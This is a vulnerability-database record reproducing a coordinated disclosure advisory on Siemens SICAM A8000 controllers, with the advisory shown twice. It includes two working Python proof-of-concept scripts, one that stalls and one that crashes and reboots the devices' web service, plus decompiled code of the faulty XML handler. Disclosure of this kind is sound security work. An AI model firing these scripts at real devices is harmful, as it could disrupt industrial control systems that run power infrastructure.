"datePublished": "2026-09-08T08:13:43Z",
"dateUpdated": "2026-09-08T08:13:43Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0272"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0256
Vulnerability from gna-1988 – Published: 2026-09-08 08:13 – Updated: 2026-09-08 08:13
VLAI
EPSS
VEX
Title
CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000
Summary
CyberDanube Security Research 20260408-1
-------------------------------------------------------------------------------
title| Multiple Vulnerabilities
product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012
vulnerable version| <=V25.30
fixed version| V26.10
CVE number| CVE-2026-27664
impact| High
homepage| https://siemens.com/
found| 18.12.2025
by| S. Dietz
| (Office Vienna)
| CyberDanube Security Research
| Vienna
|
| This research was conducted in cooperation with
| VERBUND Digital Power during a penetration test.
|
| https://www.cyberdanube.com
-------------------------------------------------------------------------------
Vendor description
-------------------------------------------------------------------------------
"Our purpose: We create technology to transform the everyday, for everyone.
By combining the real and the digital worlds, we can help accelerate both
digitalization and sustainability - so our customers around the world can
become more competitive, resilient and sustainable."
Source: https://www.siemens.com/global/en/company/about.html
Vulnerable versions
-------------------------------------------------------------------------------
Siemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / <=V25.30
Siemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / <=V25.30
Siemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / <=V25.31
Siemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / <=V25.31
See also the vendor advisory:
https://cert-portal.siemens.com/productcert/html/ssa-246443.html
Vulnerability overview
-------------------------------------------------------------------------------
1) Unauthenticated Denial of Service
A crafted POST request with a large Content-Length and multipart boundary
without matching body seems to make the parser wait for more data. As long as
the connection is open, no other user can interact with the service. IHI00.elf
and RTUM85.elf are impacted by this.
2) Unauthenticated Memory Corruption (CVE-2026-27664)
A crafted POST request with a malicious XML body can be send to write null
bytes to an arbitrary memory address after the buffers location. This may lead
to a denial of service or remote code execution. This impacts the IHI00.elf as
well as the RTUM85.elf binary.
Proof of Concept
-------------------------------------------------------------------------------
1) Unauthenticated Denial of Service
The following python script can be used to temporarily impact the availability
of the device.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/bin/env python3
# S. Dietz <fitfrost4>
from pwn import *
IP = "localhost"
PORT = 8080
COMP = "ihi"
path = b""
if args.IP:
IP = args.IP
if args.PORT:
PORT = int(args.PORT)
if args.COMP:
COMP = args.COMP
if COMP == "rtum85":
path = b"/sicweb-ajax/rtum85/pwned"
elif COMP == "ihi":
path = b"/sicweb-ajax/auth"
req = b""
req += b"POST " + path + b" HTTP/1.1\r\n"
req += b"Content-Length: " + str(13371337).encode() + b"\r\n"
req += b"Content-Type: multipart/form-data; boundary=--pwned\r\n"
req += b"User-Agent: Mozilla/5.0\r\n"
req += b"Accept: */*\r\n"
req += b"Accept-Encoding: gzip, deflate, br\r\n"
req += b"Connection: keep-alive\r\n"
req += b"\r\n"
log.info(req)
with remote(IP, PORT) as io:
io.send(req)
io.recv(1337)
-------------------------------------------------------------------------------
2) Unauthenticated Memory Corruption (CVE-2026-27664)
The following python script can be used to crash the IHI00.elf application on
the device. As a watchdog (ISV00.elf) is active, the device reboots.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
#!/bin/env python3
# S. Dietz <fitfrost4>
from pwn import *
IP = "localhost"
PORT = 8080
if args.IP:
IP = args.IP
if args.PORT:
PORT = int(args.PORT)
buf = b'<?xml version="1.0" encoding="UTF-8"?>\n'
buf += b"<x>" * 0xa0000
buf += b"</x>"
buf += b"\r\n"
body = buf
req = b""
req += b"POST /sicweb-ajax/auth HTTP/1.1\r\n"
req += b"Content-Length: " + str(len(body)).encode() + b"\r\n"
req += b"sec-ch-ua: \"Chromium\";v=\"133\", \"Not(A:Brand\";v=\"99\"\r\n"
req += b"Content-Type: application/xml\r\n"
req += b"User-Agent: Mozilla/5.0\r\n"
req += b"Accept: */*\r\n"
req += b"Accept-Encoding: gzip, deflate, br\r\n"
req += b"Connection: keep-alive\r\n"
req += b"\r\n"
req += body
with remote(IP, PORT) as io:
io.send(req)
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The issue arises due to a logic error in the XML parsing. Both binaries use
libexpat which export the function XML_SetElementHandler() which takes a
user-defined structure as well as two function pointer which are executed when
an opening or closing tag occurs. When looking at start() it can be observed
that the tag_depth is tracked. If the depth is greater than 15, the return
value gets set to -2 and the tag_depth gets incremented.
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0052b0d4 void start(struct userdata* userData, char const* xmlchar)
0052b0da int32_t tag_depth = userData->tag_depth
0052b0e2 int32_t* entry_r2
0052b0e2
0052b0e2 if (tag_depth != 0)
0052b0e6 if (tag_depth != 1)
0052b0fa if (tag_depth u> 0xf)
0052b0fa goto too_big
[...]
0052b152 too_big:
0052b152 userData->retval = -2
0052b154 userData->tag_depth = tag_depth + 1
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
When a matching closing tag occurs, end() is executed. Due to a missing retval
check, the userData access happens out-of-bounds resulting in an arbitrary
null-byte overflow
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
0052a570 void end(struct userdata* userData, char const* xmlchar)
[...]
0052a584
0052a588 int32_t tag_depth = userData->tag_depth
0052a58c userData->tag_depth = tag_depth - 1
0052a58c
0052a58e if (tag_depth != 1)
0052a598 *(userData + ((tag_depth - 2) << 2) + 4) = 0
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Further investigations showed that the bug allows an attacker to write a word
of null-bytes to arbitrary memory after the buffers location, including the
stack. Due to the extensive usage of shared libraries, this results in a large
attack surface.
-------------------------------------------------------------------------------
Solution
-------------------------------------------------------------------------------
Install the latest version available.
Workaround
-------------------------------------------------------------------------------
Restrict network access to the device in the infrastructure.
Recommendation
-------------------------------------------------------------------------------
CyberDanube recommends to perform a white-box security assessment of the SICAM
A8000 master module devices.
Contact Timeline
-------------------------------------------------------------------------------
2026-02-24: Contacting Siemens ProductCERT
2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a
valid behavior for resource conservation.
2026-03-09: Asking for name and organization for acknowledgement. In addition,
gave an estimation regarding the update timeline.
2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.
2026-04-08: Coordinated release of security advisory.
Web: https://www.cyberdanube.com
Twitter: https://twitter.com/cyberdanube
Mail: research at cyberdanube dot com
EOF S. Dietz / @2025
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
Impacted products
1 product
| Vendor | Product | Version | |
|---|---|---|---|
| unknown | CyberDanube Security Research |
Affected:
unknown
|
Relationships
reference
GCVE-1988-2026-0256 (this record)
- related CVE-2026-27664
{
"containers": {
"cna": {
"affected": [
{
"product": "CyberDanube Security Research",
"vendor": "unknown",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Thomas Weber | CyberDanube via Fulldisclosure"
}
],
"descriptions": [
{
"lang": "en",
"value": "CyberDanube Security Research 20260408-1\n-------------------------------------------------------------------------------\n title| Multiple Vulnerabilities\n product| Siemens SICAM A8000 CP-8050/CP-8031/CP-8010/CP-8012\n vulnerable version| \u003c=V25.30\n fixed version| V26.10\n CVE number| CVE-2026-27664\n impact| High\n homepage| https://siemens.com/\n found| 18.12.2025\n by| S. Dietz\n | (Office Vienna)\n | CyberDanube Security Research\n | Vienna\n |\n | This research was conducted in cooperation with\n | VERBUND Digital Power during a penetration test.\n |\n | https://www.cyberdanube.com\n-------------------------------------------------------------------------------\n\nVendor description\n-------------------------------------------------------------------------------\n\"Our purpose: We create technology to transform the everyday, for everyone.\nBy combining the real and the digital worlds, we can help accelerate both\ndigitalization and sustainability - so our customers around the world can\nbecome more competitive, resilient and sustainable.\"\n\nSource: https://www.siemens.com/global/en/company/about.html\n\nVulnerable versions\n-------------------------------------------------------------------------------\nSiemens SICAM A8000 CP-8050 Master Module (6MF2805-0AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8031 Master Module (6MF2803-1AA00) / \u003c=V25.30\nSiemens SICAM A8000 CP-8010 Master Module (6MF2801-0AA00) / \u003c=V25.31\nSiemens SICAM A8000 CP-8012 Master Module (6MF2801-2AA00) / \u003c=V25.31\n\nSee also the vendor advisory:\nhttps://cert-portal.siemens.com/productcert/html/ssa-246443.html\n\nVulnerability overview\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nA crafted POST request with a large Content-Length and multipart boundary\nwithout matching body seems to make the parser wait for more data. As long as\nthe connection is open, no other user can interact with the service. IHI00.elf\nand RTUM85.elf are impacted by this.\n\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nA crafted POST request with a malicious XML body can be send to write null\nbytes to an arbitrary memory address after the buffers location. This may lead\nto a denial of service or remote code execution. This impacts the IHI00.elf as\nwell as the RTUM85.elf binary.\n\nProof of Concept\n-------------------------------------------------------------------------------\n1) Unauthenticated Denial of Service\nThe following python script can be used to temporarily impact the availability\nof the device.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\nCOMP = \"ihi\"\npath = b\"\"\n\nif args.IP:\n IP = args.IP\nif args.PORT:\n PORT = int(args.PORT)\nif args.COMP:\n COMP = args.COMP\nif COMP == \"rtum85\":\n path = b\"/sicweb-ajax/rtum85/pwned\"\nelif COMP == \"ihi\":\n path = b\"/sicweb-ajax/auth\"\n\nreq = b\"\"\nreq += b\"POST \" + path + b\" HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(13371337).encode() + b\"\\r\\n\"\nreq += b\"Content-Type: multipart/form-data; boundary=--pwned\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\n\nlog.info(req)\n\nwith remote(IP, PORT) as io:\n io.send(req)\n io.recv(1337)\n\n-------------------------------------------------------------------------------\n2) Unauthenticated Memory Corruption (CVE-2026-27664)\nThe following python script can be used to crash the IHI00.elf application on\nthe device. As a watchdog (ISV00.elf) is active, the device reboots.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n#!/bin/env python3\n# S. Dietz \u003cfitfrost4\u003e\nfrom pwn import *\n\nIP = \"localhost\"\nPORT = 8080\n\nif args.IP:\n IP = args.IP\n\nif args.PORT:\n PORT = int(args.PORT)\n\nbuf = b\u0027\u003c?xml version=\"1.0\" encoding=\"UTF-8\"?\u003e\\n\u0027\nbuf += b\"\u003cx\u003e\" * 0xa0000\nbuf += b\"\u003c/x\u003e\"\nbuf += b\"\\r\\n\"\n\nbody = buf\nreq = b\"\"\nreq += b\"POST /sicweb-ajax/auth HTTP/1.1\\r\\n\"\nreq += b\"Content-Length: \" + str(len(body)).encode() + b\"\\r\\n\"\nreq += b\"sec-ch-ua: \\\"Chromium\\\";v=\\\"133\\\", \\\"Not(A:Brand\\\";v=\\\"99\\\"\\r\\n\"\nreq += b\"Content-Type: application/xml\\r\\n\"\nreq += b\"User-Agent: Mozilla/5.0\\r\\n\"\nreq += b\"Accept: */*\\r\\n\"\nreq += b\"Accept-Encoding: gzip, deflate, br\\r\\n\"\nreq += b\"Connection: keep-alive\\r\\n\"\nreq += b\"\\r\\n\"\nreq += body\n\nwith remote(IP, PORT) as io:\n io.send(req)\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nThe issue arises due to a logic error in the XML parsing. Both binaries use\nlibexpat which export the function XML_SetElementHandler() which takes a\nuser-defined structure as well as two function pointer which are executed when\nan opening or closing tag occurs. When looking at start() it can be observed\nthat the tag_depth is tracked. If the depth is greater than 15, the return\nvalue gets set to -2 and the tag_depth gets incremented.\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052b0d4 void start(struct userdata* userData, char const* xmlchar)\n0052b0da int32_t tag_depth = userData-\u003etag_depth\n0052b0e2 int32_t* entry_r2\n0052b0e2\n0052b0e2 if (tag_depth != 0)\n0052b0e6 if (tag_depth != 1)\n0052b0fa if (tag_depth u\u003e 0xf)\n0052b0fa goto too_big\n[...]\n0052b152 too_big:\n0052b152 userData-\u003eretval = -2\n0052b154 userData-\u003etag_depth = tag_depth + 1\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n\nWhen a matching closing tag occurs, end() is executed. Due to a missing retval\ncheck, the userData access happens out-of-bounds resulting in an arbitrary\nnull-byte overflow\n\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n0052a570 void end(struct userdata* userData, char const* xmlchar)\n[...]\n0052a584\n0052a588 int32_t tag_depth = userData-\u003etag_depth\n0052a58c userData-\u003etag_depth = tag_depth - 1\n0052a58c\n0052a58e if (tag_depth != 1)\n0052a598 *(userData + ((tag_depth - 2) \u003c\u003c 2) + 4) = 0\n~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\nFurther investigations showed that the bug allows an attacker to write a word\nof null-bytes to arbitrary memory after the buffers location, including the\nstack. Due to the extensive usage of shared libraries, this results in a large\nattack surface.\n-------------------------------------------------------------------------------\n\n\nSolution\n-------------------------------------------------------------------------------\nInstall the latest version available.\n\n\nWorkaround\n-------------------------------------------------------------------------------\nRestrict network access to the device in the infrastructure.\n\nRecommendation\n-------------------------------------------------------------------------------\nCyberDanube recommends to perform a white-box security assessment of the SICAM\nA8000 master module devices.\n\n\nContact Timeline\n-------------------------------------------------------------------------------\n2026-02-24: Contacting Siemens ProductCERT\n2026-03-04: Siemens ProductCERT confirmed the issue but said the the DoS is a\n valid behavior for resource conservation.\n2026-03-09: Asking for name and organization for acknowledgement. In addition,\n gave an estimation regarding the update timeline.\n2026-03-26: Siemens ProductCERT publishes the advisory SSA-246443.\n2026-04-08: Coordinated release of security advisory.\n\n\nWeb: https://www.cyberdanube.com\nTwitter: https://twitter.com/cyberdanube\nMail: research at cyberdanube dot com\n\nEOF S. Dietz / @2025\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-08T08:13:42Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Apr/7"
},
{
"url": "https://cert-portal.siemens.com/productcert/html/ssa-246443.html"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://siemens.com/"
},
{
"url": "https://twitter.com/cyberdanube"
},
{
"url": "https://www.cyberdanube.com"
},
{
"url": "https://www.siemens.com/global/en/company/about.html"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Apr/7"
],
"discovery": "EXTERNAL"
},
"title": "CyberDanube Security Research 20260408-1 | Multiple Vulnerabilities in Siemens SICAM A8000",
"x_gcve": [
{
"recordType": "reference",
"relationships": [
{
"destId": "CVE-2026-27664",
"type": "related"
}
],
"vulnId": "GCVE-1988-2026-0256",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Apr/7",
"automated": true,
"contentSha256": "76b381a915589c3d3f3552184c204e5c93ccf859a0c160e0d2585c2fc74456e3",
"evidenceScore": 7,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Apr/7",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-04-14T10:45:01Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0256"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T08:13:42Z",
"dateUpdated": "2026-09-08T08:13:42Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0256"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
displaying 301 - 310 publications in total 387